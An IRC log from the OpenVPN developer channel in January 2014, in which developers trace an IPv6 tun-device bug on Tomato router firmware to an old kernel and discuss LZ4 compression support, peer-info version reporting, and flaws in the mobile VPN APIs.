<@cron2> mmmh. I'm pretty sure it is something like what I described, but without being able to compile and see which #ifdef variant it is using to set up the tunnel, this is hard to say for sure 07:33 <@cron2> I think it's definitely a bug in the "old code path", and I tend to "rip it out, it's no good any longer" for 2.4/master... 07:33 < mback2k> okay, so I need to figure out a way to compile tomato myself and at some point I have to get a hold of the author, shibby 07:34 < mback2k> but let me check if the compilation logs are part of this distribution 07:34 <@cron2> when compiling, check the config.h file that "configure" produces for openvpn - it should say 07:34 <@cron2> #define HAVE_LINUX_IF_TUN_H 1 07:34 <@cron2> (for the new code path, which definitely works with IPv4+IPv6) 07:36 <@cron2> but I'm still wondering... the old code path on Linux should definitely print that "explicit support" warning... need to try that 07:36 < mback2k> with "old code path" you mean open_tun_generic ? 07:36 <@cron2> yep 07:36 < mback2k> yeah, looking at that too 07:37 <@cron2> that one has no idea how to set up a multiprotocol tun, so the kernel would have no idea that this is needed... 07:37 < mback2k> warning messages like that cannot be de-configured during compilation, right? Because his builds also do not include any verbose logging. 07:37 <@cron2> no, that warning should not be affected by --enable-small 07:38 <@cron2> (which is what removes quite a bit of verbosity) 07:38 <@cron2> the warning should be right before "TUN/TAP device tun0 oppened" 07:40 < mback2k> nope, not there: http://pastebin.com/TtNXey43 07:42 <@cron2> ah 07:42 < mback2k> is there any way to check the tun device while running? 07:42 <@cron2> the "TUN/TAP TX queue length set to 100" is a good indicator that it's actually using the "new API" 07:42 < mback2k> cool :) 07:43 <@cron2> but now it's really unclear what is happening, because *that* code path is very well tested on linux 07:44 < mback2k> yes, thats my problem. Other Android, Linux and Windows clients do not experience any trouble with IPv6. 07:44 < mback2k> just the 3 tomato routers fail once IPv6 is enabled. 07:45 < mback2k> unfortunatly there is no way for me to debug on these embedded devices. 07:46 <@cron2> mmmh 07:49 < mback2k> so IFF_NO_PI is used for IPv4-only tun-ifaces, right? 07:49 <@cron2> yes 07:49 < mback2k> I am currently trying to understand why it is required for IPv6 07:51 <@cron2> I'm not sure about Linux. It might not even be necessary there. 07:51 <@cron2> On the *BSDs, a tun device without the (there called TUNSIFHEAD) flag would just not output IPv6 packets, nada 07:52 <@cron2> the linux kernel driver looks like it doesn't really care - which is a good point, so we might actually get rid of that code part 07:53 < mback2k> Okay. I am now looking at the linux kernel source to understand the logic behind tun_pi. 07:53 <@cron2> (but that means "go back at least to 2.4 to see whether it used to work back then) 07:53 <@cron2> it's really "if TUN_NO_PI is clear, then a 4-byte ethernet type is prepended on send, and removed on receive" 07:53 <@cron2> (it's called TUN_NO_PI in kernel space) 07:55 < mback2k> yep, found it 07:56 < mback2k> and the code is also in shibby's repo: http://repo.or.cz/w/tomato.git/blob/refs/heads/tomato-shibby:/release/src/linux/linux/drivers/net/tun.c 07:56 <@vpnHelper> Title: Public Git Hosting - tomato.git/blob - release/src/linux/linux/drivers/net/tun.c (at repo.or.cz) 07:57 <@cron2> ok, need to leave you to further track this (or take it to the tomato folks) - kid just woke up, can't do openvpn until evening 07:57 < mback2k> okay, thank you very much. have a nice sunday. 08:15 -!- mback2k is now known as mback2k_ 08:17 -!- mback2k_ is now known as mback2k 08:22 -!- mback2k is now known as mback2k_ 08:22 -!- mback2k_ is now known as mback2k 09:04 < mback2k> I think I just found the bug, it actually seems to have been in older kernel versions 09:08 < mback2k> Here is the fix.. https://git.kernel.org/cgit/linux/kernel/git/stable/linux-stable.git/commit/drivers/net/tun.c?id=43b39dcdbdf823a1c0ac1f2aa2d76bd2f210adc8 09:08 <@vpnHelper> Title: kernel/git/stable/linux-stable.git - Linux kernel stable tree (at git.kernel.org) 09:10 <@cron2> but that's a very old kernel - shouldn't 2.6.22 (IIRC) have that already? 09:10 < mback2k> checking that now 09:11 < mback2k> at least shibby's kernel does not have it: http://repo.or.cz/w/tomato.git/blob/refs/heads/tomato-shibby:/release/src/linux/linux/drivers/net/tun.c#l302 09:11 <@vpnHelper> Title: Public Git Hosting - tomato.git/blob - release/src/linux/linux/drivers/net/tun.c (at repo.or.cz) 09:11 < mback2k> total is not used as an offset to the iv in that function 09:12 < mback2k> so it basically overwrites the PI data with the payload 09:14 < mback2k> fun question: why is the packet still 4 bytes shorter? shouldn't it have 4 garbage bytes at the end then? 09:17 < mback2k> nope, that kernel is too old: 2008-02-25 Linux 2.6.22.19 09:18 < mback2k> the patch is newer than the kernel running inside tomato 09:20 <@cron2> ouch 09:20 <@cron2> we might work around it in openvpn (if it turns out that we don't need the *_NO_PI stuff at all), but you'd have to compile your own openvpn binary still... 09:21 <@cron2> mmmh, looking at *that* tun.c, we actually need it - newer kernels reconstruct the "pi" from the ip header if needed, this one doesn't 09:22 < mback2k> yep, or I could wait for shibby to update to the latest openvpn once it is released. I am now trying to check if tun_get_user has the same problem as tun_put_user. 09:22 < mback2k> oh, ouch 09:26 <@cron2> what you could do as a workaround is to enable ipv6 on the server, for the "non-tomato" clients, and for the clients, un-define ipv6 by using a ccd/ directory and per-client config files that start with "push-reset" (aka "forget everything I would have sent the client") and then add back all the non-ipv6 options 09:26 <@cron2> painful, but a workaround... 09:27 < mback2k> I am currently running two OpenVPN servers for that purpose. So I am in no hurry there ;) 09:27 <@cron2> (we can't reset individual push-options yet, otherwise resetting tun-ipv6 would have sufficied) 09:27 < mback2k> but thanks for the suggestion 09:28 <@cron2> ok, in that case, bugger shibby to patch his kernel and recompile :-) 09:28 < mback2k> I am running two servers anyway, because the tomato servers use stable connections with UDP, and all other ones are connecting through TCP 09:29 < mback2k> yeah, I hope that I will be able to reach him via email 09:32 < mback2k> that kernel is soo old, some functions were renamed, e.g. tun_chr_readv was renamed to tun_chr_aio_read 10:45 -!- mback2k is now known as mback2k_ 11:26 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 11:28 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 11:28 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 11:28 -!- dazo_afk is now known as dazo 11:39 <@plaisthos> tomato router firmware: now -2 points for two seperate issues that disgust me 11:39 <@plaisthos> I don't even know if the kernel or the OpenSSL version is older 11:40 <@pekster> I've been disappointed with tomato before too; IIRC they do dumb things like provide an `iptables` busybox applet (which by itself isn't that weird at all) that does _not_ support the iptables-{save,restore} function. That is quite a pain :\ 11:41 <@pekster> It wouldn't surprise me that other things are unique too, like certain kernel customizations that impact openvpn 11:41 <@cron2> I like OpenWRT more and more :-) (but there are devices out there that just work better with tomato or even dd-wrt, due to broadcom hardware issues...) 11:42 <@pekster> Easy fix: don't buy closed hardware (yes, yes, some people discovered embedded FOSS after they purchased..) 11:42 <@pekster> But yea, can't argue with a system that Just Works with one command: `make` 11:46 <@cron2> pekster: "don't buy closed hardware" is slightly hard if *all* the hardware you can buy in that segment is either closed, or not properly supported either... 11:47 <@cron2> (... or, the moment everything nicely works, is no longer made... like my favourite TL-1043ND, which has been replaced by a "v2" with different hardware...) 11:55 <@pekster> Yea, the versioning scheme is just evil when the SoC changes 11:55 <@pekster> It would be like all the 2.4 features going into 2.3.3 for us :P 11:55 <@pekster> "surprise!" 11:57 <@plaisthos> your openvpn behaves now different! 12:45 <@vpnHelper> RSS Update - gitrepo: Disable export ciphers by default for OpenSSL builds. <https://github.com/OpenVPN/openvpn/commit/56ab21091c0f1e07d0a6ef7815160f6ae072498d> || Make tls_ctx_restrict_ciphers accept NULL as char *cipher_list. <https://github.com/OpenVPN/openvpn/commit/e83313a8ba92684a660c9d78c536699f67dcdf63> || Update IPv6 related readme files <https://github.com/OpenVPN/openvpn/commit/69e03f4cd4971c8748faa83be45c89694d4b7a51> 12:46 <@cron2> argh 12:47 <@cron2> I pushed to sf only, which buildbot noticed, and all the buildslaves tried to pull from *github*, which didn't have that commit yet... 12:47 <@cron2> (I was interrupted by a child falling over in the bathtub, which required immediate action :) ) 12:55 <@cron2> ... 290 complain mails... 13:33 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds] 13:40 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 13:40 -!- mode/#openvpn-devel [+o dazo] by ChanServ 13:53 -!- Netsplit *.net <-> *.split quits: +krzee 14:02 -!- MeanderingCode_ [~Meanderin@palantir.aetherislands.net] has joined #openvpn-devel 14:08 -!- Weasel_ [~kvuorine@a91-154-220-172.elisa-laajakaista.fi] has quit [Read error: Operation timed out] 14:08 -!- MeanderingCode [~Meanderin@palantir.aetherislands.net] has quit [Read error: Operation timed out] 14:08 -!- MeanderingCode_ is now known as MeanderingCode 14:16 -!- Weasel_ [kvuorine@a91-154-220-172.elisa-laajakaista.fi] has joined #openvpn-devel 14:26 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 14:26 -!- MeanderingCode [~Meanderin@palantir.aetherislands.net] has quit [Ping timeout: 264 seconds] 14:27 -!- MeanderingCode [~Meanderin@palantir.aetherislands.net] has joined #openvpn-devel 14:30 -!- Weasel_ [kvuorine@a91-154-220-172.elisa-laajakaista.fi] has quit [Ping timeout: 260 seconds] 14:36 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Write error: Broken pipe] 14:38 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 14:38 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 17:04 -!- Weasel_ [~kvuorine@a91-154-220-172.elisa-laajakaista.fi] has joined #openvpn-devel 21:25 -!- raidz is now known as raidz_away 22:40 <@vpnHelper> RSS Update - tickets: #358: --tls-cipher will accept values openvpn cannot use <https://community.openvpn.net/openvpn/ticket/358> 22:58 <@vpnHelper> RSS Update - tickets: #359: Poor reporting of no shared ciphers. <https://community.openvpn.net/openvpn/ticket/359> --- Day changed Mon Jan 06 2014 01:32 -!- Weasel_ [~kvuorine@a91-154-220-172.elisa-laajakaista.fi] has quit [Remote host closed the connection] 01:32 -!- Weasel_ [~kvuorine@a91-154-220-172.elisa-laajakaista.fi] has joined #openvpn-devel 01:41 * cron2 thinks that #358 and #359 really look like something for syzzer :-) 01:48 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 01:48 -!- ServerMode/#openvpn-devel [+v krzee] by holmes.freenode.net 04:06 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 04:06 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 04:06 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 05:28 <@vpnHelper> RSS Update - gitrepo: Provide LZ4 sources in src/compat/ and use if no system lz4 library found. <https://github.com/OpenVPN/openvpn/commit/4308f2374361f56b2049ccc5884cddd58d24b1e3> || Implement LZ4 compression. <https://github.com/OpenVPN/openvpn/commit/40efb6359aff0e4805c0439acd6e899c687ef058> 05:36 <@plaisthos> cron2: Is there any canche that we get a compression auto-select or something for the server? 05:37 <@plaisthos> so that people without management interface and actually use something better than lzo without resorting to dropping old clients 05:38 <@cron2> plaisthos: right now, all there is is --client-connect adaptcompression.sh 05:38 <@cron2> which could do 05:39 <@cron2> if [ "$IV_LZ4" = 1 ] ; then 05:39 <@cron2> echo 'compress "lz4"' 05:39 <@cron2> echo 'push "compress lz4"' 05:39 <@cron2> fi 05:40 <@cron2> as for doing it inside the server, yes, that would be good 05:40 <@cron2> (d12fk has been asking for it as well :) ) 05:45 <@plaisthos> cron2: yeah. I don't that handled by external scripts because it so basic and users will get that wrong very easyly 05:45 <@plaisthos> also compress on could use default list like lz4,snappy,lzo so it just works 05:45 * cron2 understands, and all the mechanics is there - but for now, I'd make that "low priority" 05:46 <@cron2> ditto for "compress on" 05:46 <@plaisthos> cron2: did you update the manpage to include "lz4" in the compress paragraph? 05:46 <@cron2> *sigh* 05:47 <@cron2> I did fix the typo, but not the manpage 05:47 <@plaisthos> I will take that as a no :) 05:51 <@cron2> wtf... this iOS 7 and it's VPN api is almost more borked than Android's 05:52 <@cron2> IPv6 routes given to the VPN api are installed "somewhere" or "nowhere at all", but never properly point to the utun0 05:53 <@plaisthos> :) 05:54 <@plaisthos> cron2: that is more b0rken than Android :) 05:54 <@plaisthos> Android will at least not leak IPv6 05:54 <@cron2> at least IPv6 is consistently broken in the VPN, instead of "it works, but only if you have IPv6 before VPN!" 05:56 <@plaisthos> btw. if you want to details of routing under the hood of Android look at the last three posts in http://code.google.com/p/ics-openvpn/issues/detail?id=222&can=1&start=200 05:56 <@vpnHelper> Title: Issue 222 - ics-openvpn - Pushed routes are not added to the routing table - Openvpn for Android 4.0+ - Google Project Hosting (at code.google.com) 05:57 <@plaisthos> cron2: but iOS will leak IPv6 right? 05:59 <@cron2> it does not seem to, but I'm not sure what it really does - it seems to install the pushed route as "to eth0" (= locally connected) which doesn't go anywhere, unless someone else does proxy ndp - but indeed, an attacker could do that 06:24 <@cron2> oh 06:24 <@cron2> mattock: more builds needed 06:24 <@cron2> (and different ones) 06:24 <@cron2> --disable-lzo --disable-snappy --enable-comp-stub will now fail 06:25 <@plaisthos> can we perhaps get right of --enable-comp-stub? 06:25 <@plaisthos> and always enable at least comp-stub 06:25 <@cron2> rid? 06:25 <@plaisthos> right, rid 06:27 <@cron2> yeah, I see the Great Compression Cleanup coming up :-) (more table driven stuff, "compression best", ...) 06:27 <@plaisthos> before 2.4? 06:27 <@cron2> before 2.4 06:28 <@plaisthos> so we know that 2.4 client always support atleast the framing format for compression 06:28 <@cron2> this is lots of new stuff, we shouldn't have to change it again for 2.5 06:28 <@plaisthos> perhaps introduce an options like new-defaults or somthing like that 06:29 <@plaisthos> that sets all options to sensible defaults 06:29 <@cron2> nah 06:29 <@plaisthos> like compress, and cipher to aes, 06:29 <@cron2> if we think a default should be changed, a major release plus good release notes should be fine 06:29 <@cron2> (which brings up "cipher negotiation" again :) ) 06:30 <@plaisthos> cron2: that would break James "backword compatible config file" mantra 06:30 <@cron2> so for compress -> "make the server decide what is good", and for cipher -> negotiate 06:30 <@plaisthos> cron2: for compress the client needs at least compress 06:31 <@plaisthos> or can that now be pushed compelety without having compress in the config before? 06:31 <@plaisthos> in 2.3 you needed at least comp-lzo no iirc 06:32 <@cron2> true. "James changed something there", so I'm not exactly sure what is needed and what can be pushed today 06:32 <@cron2> can you put all these compression-cleanup bits into the "for 2.4 release" page in the wiki (which we hopefully have), please? 06:33 <@plaisthos> seems like it works with only the server pushing the option 06:42 <@cron2> cool 06:47 <@cron2> the whole comp-lzo section of the manpage needs a rewrite 06:47 * cron2 just adds lz4 for the moment 07:16 <@cron2> thanks. I'm not pushing it right now, want to wait for mattock to fondle the buildslaves first 07:48 <@cron2> plaisthos: your "Connection profiles [default]" patch - I assume that is 2.4-only? 09:06 <@plaisthos> cron2: not really 09:06 <@plaisthos> the same happens with 2.3 too 09:07 <@plaisthos> but 2.4 has the dual stack which will *always* convert remote to connection profiles 09:07 <@plaisthos> Question is if we want to change the output in 2.3 09:08 <@plaisthos> but that debug output is not for parsing anway 10:44 <@plaisthos> on 2.3 you only get connection profiles if you use <connection> or multiple --remote with http-proxy or something like that 10:44 <@plaisthos> I am not sure anymore. I would have to look it up again 11:00 <@plaisthos> but with 2.3 you won't see that behaviour nearly as often 11:05 -!- raidz_away is now known as raidz 11:05 -!- Weasel_ [~kvuorine@a91-154-220-172.elisa-laajakaista.fi] has quit [Read error: Operation timed out] 11:08 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 11:08 -!- mode/#openvpn-devel [+o dazo] by ChanServ 11:08 -!- Weasel_ [~kvuorine@a91-154-220-172.elisa-laajakaista.fi] has joined #openvpn-devel 13:26 -!- dazo is now known as dazo_afk 13:55 <@cron2> https://community.openvpn.net/openvpn/wiki/OpenVPN2.4 13:55 <@vpnHelper> Title: OpenVPN2.4 – OpenVPN Community (at community.openvpn.net) 13:55 <@cron2> gives me the nagging suspicion that it will take us a while longer to get there... 17:45 < syzzer> hmm, #358 can be easily fixed by applying 5/6 and an adjusted 6/6 (that disables unsupported cipher suites) of my previous patch set to release/2.3 17:45 < syzzer> I think I'll produce some patches tomorrow :) 17:48 < syzzer> ah, no it doesn't fix #358, that's a bit harder. But is does fix #304, and lessens the pain for #358 and #359 bit... 17:52 <@pekster> Yea, I commented on 358 since it gets complex since parts are runtime-specific, or at least will be when EC becomes an option 18:02 -!- Netsplit *.net <-> *.split quits: MeanderingCode 18:04 -!- Netsplit over, joins: MeanderingCode 20:52 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn-devel 20:52 -!- mode/#openvpn-devel [+v novaflash] by ChanServ --- Log closed Mon Jan 06 23:31:56 2014 --- Log opened Tue Jan 07 07:35:51 2014 07:35 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 07:35 -!- Irssi: #openvpn-devel: Total of 20 nicks [9 ops, 0 halfops, 1 voices, 10 normal] 07:35 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 07:35 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 08:11 <@cron2> heh... one of my colleagues is using an older Android version... 08:11 <@cron2> IV_PLAT=android 08:11 <@cron2> IV_VER=3.0 08:11 <@cron2> IV_SNAPPY=1 08:11 <@cron2> "but no IV_LZ4=1 here!" 08:11 <@cron2> plaisthos: btw, UV_GUI_VERSION - is that stuck in my heap or in yours? 08:11 <@cron2> we agreed in Munich that we want that, just didn't do so yet 08:23 <@plaisthos> cron2: I think I already posted a patch for that 08:23 <@plaisthos> lemme check 08:26 <@plaisthos> [Openvpn-devel] [PATCH] Add reporting of UI version to basic push-peer-info set. 08:26 <@plaisthos> 31.05 08:26 <@plaisthos> Message-Id: <1370005175-14871-1-git-send-email-arne@rfc2549.org> 08:33 <@plaisthos> cron2: wait a bit ... 08:33 <@cron2> plaisthos: yeah, but wasn#t there something to update/adapt? Need to re-check the minutes from munich :) 08:33 <@cron2> (I just noticed that it would be *quite* nice to have this right now, to see who of my colleages uses outdated versions...) 08:34 <@plaisthos> cron2: It is already in -master 08:34 <@plaisthos> cron2: but your college is using OpenVPN Connect 08:34 <@cron2> it is? wow :-) - so you're already sending it? 08:35 <@plaisthos> yeah for quite some time 08:35 <@plaisthos> I tend to keep the patch in my branch and my client even if they are not accepted yet 08:35 <@plaisthos> Jan 7 15:08:51 hermes ovpn-udp-v6[1727]: hebe.blinkt.de/::ffff:131.234.245.143 peer info: IV_OPENVPN_GUI_VERSION=de.blinkt.openvpn_0.6.3 08:37 <@plaisthos> I should submit a patch to Tunnelblick to also set that variable 08:37 <@cron2> IV_OPENVPN_GUI_VERSION=de.blinkt.openvpn_0.6.3 08:37 <@cron2> indeed 08:39 <@cron2> (why is James not using this? meh) 08:39 <@cron2> mattock: feel like poking james about it? :-) 08:41 <@mattock> let's add it to Thursday's agenda 08:41 <@mattock> we need James for the other topic anyway 08:45 <@mattock> topic list updated: https://community.openvpn.net/openvpn/wiki/Topics-2014-01-09 08:45 <@vpnHelper> Title: Topics-2014-01-09 – OpenVPN Community (at community.openvpn.net) 08:47 <@mattock> notified James of the meeting 08:48 <@mattock> if the topic list looks ok in general, I'll send it to openvpn-devel 08:48 <@cron2> fine with me 08:49 <@cron2> d12fk: das ist auch was für Dich dann... --setenv IV_OPENVPN_GUI_VERSION "d12fk 3" or so 08:49 <@cron2> argh 08:49 <@cron2> my language parser is all confused 08:49 * cron2 needs to leave anyway, collect $daughter[1] from kindergarten 08:49 <@plaisthos> I think we discussed and agreed on some format 08:49 <@plaisthos> which we documented somewhere? 08:49 <@plaisthos> iirc in the commit 08:49 <@cron2> in the MunichHackathon2103 page 08:49 <@cron2> and in the commit 08:49 <@cron2> Usage convention for IV_OPENVPN_GUI_VERSION is "<gui_id><space><version>", 08:50 <@cron2> for example "de.blinkt.openvpn 0.5.47" for the ICS Android version. 09:14 <@plaisthos> I give up compiling Tunnelblick on a modern os x 10:04 <@cron2> from what I learned on the mailing list, compiling tunnelblick is not for the faint of heart 10:29 <@plaisthos> yeah 10:29 <@plaisthos> and it has hardcoded gcc/g++ in the build scripts :/ 10:30 <@cron2> well, as long as it does not *include* g++ to ensure the exactly right compiler version... 10:43 <@plaisthos> :) 10:52 <@cron2> ping6 to community.openvpn.net is extremely flakey today - comes and goes. mattock: is there something sort of firewall on the server side, or before the server, that times out the "session" for the he.net tunnel? 10:58 <@plaisthos> I guess I will setup a 10.6.8 vm 11:21 -!- dazo is now known as dazo_afk 11:33 <@plaisthos> cron2: the complication are mainly from the fact that Tunnelblick wants to support legacy system with current Tunnelblick version 11:34 <@plaisthos> Usually an up to date Xcode version only generates binary for two most current operating systems 11:51 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 11:51 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 11:52 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:09 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 12:11 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 12:11 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:01 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 13:06 -!- krzee [~k@2610:150:4002::3:1] has joined #openvpn-devel 14:08 -!- mattock is now known as mattock_afk 14:24 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn-devel 14:24 -!- mode/#openvpn-devel [+v novaflash] by ChanServ 15:01 <@cron2> argh 15:01 * cron2 is pulling his hair about #349 15:01 <@cron2> ETOOMUCHBRILLIANCE 15:06 -!- mattock_afk is now known as mattock 15:17 -!- mattock is now known as mattock_afk 15:30 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Quit: ZNC - http://znc.in] 15:30 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: I shouldn't have left....] 15:31 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 15:31 -!- mode/#openvpn-devel [+o raidz] by ChanServ 15:32 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 15:32 -!- mode/#openvpn-devel [+o mattock] by ChanServ 15:34 <@vpnHelper> RSS Update - gitrepo: Fix spurious ignoring of pushed config options (trac#349). <https://github.com/OpenVPN/openvpn/commit/1aac9a0b7a4046822a0134cd8693a828f2e16576> || Document "lz4" argument to "compress" config option. <https://github.com/OpenVPN/openvpn/commit/64e4079f32e70a25e603470483c0e95549b3ab1d> 15:34 <@cron2> "something hickuped"... one of my t_client tests failed, and mattock+raidz dropped from IRC. 15:35 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Client Quit] 15:35 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Client Quit] 15:36 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 15:37 -!- mode/#openvpn-devel [+o raidz] by ChanServ 15:37 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 15:37 -!- mode/#openvpn-devel [+o mattock] by ChanServ 15:39 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Client Quit] 15:39 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Client Quit] 15:41 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 15:41 -!- mode/#openvpn-devel [+o raidz] by ChanServ 15:41 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 15:41 -!- mode/#openvpn-devel [+o mattock] by ChanServ 15:46 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: ZNC - http://znc.in] 15:46 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: I shouldn't have left....] 15:47 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 15:47 -!- mode/#openvpn-devel [+o raidz] by ChanServ 15:47 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Client Quit] 15:48 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 15:48 -!- mode/#openvpn-devel [+o raidz] by ChanServ 15:49 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 15:49 -!- mode/#openvpn-devel [+o mattock] by ChanServ 16:03 <@plaisthos> cron2: I looked at #349 and I would ACK it too 17:07 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: I shouldn't have left....] 17:07 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: ZNC - http://znc.in] 17:11 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 17:11 -!- mode/#openvpn-devel [+o raidz] by ChanServ 17:11 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 17:11 -!- mode/#openvpn-devel [+o mattock] by ChanServ 17:13 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Client Quit] 17:13 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Client Quit] 17:14 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 17:14 -!- mode/#openvpn-devel [+o raidz] by ChanServ 17:15 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 17:15 -!- mode/#openvpn-devel [+o mattock] by ChanServ 17:20 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: I shouldn't have left....] 17:20 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: ZNC - http://znc.in] 17:22 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 17:22 -!- mode/#openvpn-devel [+o mattock] by ChanServ 17:39 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: ZNC - http://znc.in] 17:41 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 17:41 -!- mode/#openvpn-devel [+o mattock] by ChanServ 17:44 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 17:44 -!- mode/#openvpn-devel [+o raidz] by ChanServ 20:10 -!- krzee [~k@2610:150:4002::3:1] has quit [Changing host] 20:10 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 20:10 -!- mode/#openvpn-devel [+v krzee] by ChanServ 22:26 <@vpnHelper> RSS Update - gitrepo: Fix spurious ignoring of pushed config options (trac#349). <https://github.com/OpenVPN/openvpn/commit/1aac9a0b7a4046822a0134cd8693a828f2e16576> || Document "lz4" argument to "compress" config option. <https://github.com/OpenVPN/openvpn/commit/64e4079f32e70a25e603470483c0e95549b3ab1d> || Provide LZ4 sources in src/compat/ and use if no system lz4 library found. <https://github.com/OpenVPN/openvpn/commit/4308f237 23:05 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 240 seconds] 23:06 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 23:06 -!- mode/#openvpn-devel [+o raidz] by ChanServ --- Day changed Wed Jan 08 2014 00:08 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 240 seconds] 01:01 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 01:01 -!- mode/#openvpn-devel [+o raidz] by ChanServ 03:25 <@cron2> plaisthos: when you have time, a quick review of <1384698620-27946-1-git-send-email-gert@greenie.muc.de> would be nice - it's been sitting on the list since Nov 17 with no feedback whatsoever (trac #143) 04:11 <@plaisthos> cron2: can you give the subject? 04:11 <@plaisthos> I have no idea how to search for a message id in thunderbird 04:13 <@plaisthos> ah found it via the ticket. 04:23 <@plaisthos> And I think Android 4.4 with its bugs will stay around a bit longer... 04:24 <@plaisthos> I think the android 4.4 workaround will be needed for a long time :/ 04:24 <@plaisthos> [Openvpn-devel] [PATCH] Workaround broken Android 4.4 VpnService API for persist-tun mode 04:51 <@cron2> *sigh* 05:10 <@plaisthos> I have personally no idea how to fix the "different Routing table per User" stuff :/ 05:31 -!- dazo_afk is now known as dazo 06:15 < syzzer> plaisthos: I was just looking at the patch page, the polarssl management-remote-key patches are applied, can I just move them on the page or should I do something with scripts to regenerate it? 06:21 <@plaisthos> syzzer: nah, just move it 06:22 < syzzer> ok :) 06:22 <@plaisthos> syzzer: the script only generates a line to put into the first table 06:22 <@cron2> plaisthos: I find the "IPv6 VPN isn't working if the main routing table has no IPv6" is the worst of it 06:22 <@plaisthos> so I don't have to copy all the bits over manually 06:23 <@plaisthos> cron2: apart from the "if you want to reopen the tun device in a safe way the whole VPN stack will blow up until you reboot", yes it is 06:24 <@cron2> yeah, that one as well 07:55 -!- nixt [~nixt@103.1.153.195] has joined #openvpn-devel 08:01 <@plaisthos> hm I have try what happens if you try to put IPv6/0 as interface ip on the tun device 08:01 <@plaisthos> or if android/linux then totatly screws ups the routing 08:07 <@cron2> that would be an interesting experiment, yes :-) - at least for the "I have no ipv6 default" case 08:40 -!- Netsplit *.net <-> *.split quits: +krzee, @raidz 08:43 -!- Netsplit over, joins: @raidz, +krzee 09:38 -!- nixt [~nixt@103.1.153.195] has quit [Ping timeout: 252 seconds] 10:37 -!- nixt [~nixt@103.13.241.25] has joined #openvpn-devel 12:17 <@cron2> mattock: could you add 1.0.3 and 1.0.4 to the trac version list? 1.0.3 for iOS is out, 1.0.4 "soon" 12:18 <@cron2> (and we're *so* bad at looking at trac tickets in a reasonable time frame...) 14:16 -!- mattock is now known as mattock_afk 14:45 -!- nixt [~nixt@103.13.241.25] has quit [Ping timeout: 252 seconds] 14:46 -!- nixt [~nixt@103.1.153.219] has joined #openvpn-devel 14:54 -!- dazo is now known as dazo_afk 15:20 <@cron2> hargh, trac is not cooperating 15:22 <@cron2> plaisthos: could you look at trac #311 eventually, when you have time? 15:34 <@plaisthos> cron2: Yeah. I don't understand really understand the signal handling in openvpn 15:35 <@plaisthos> I understand it from a code perspective but I have no idea why 15:36 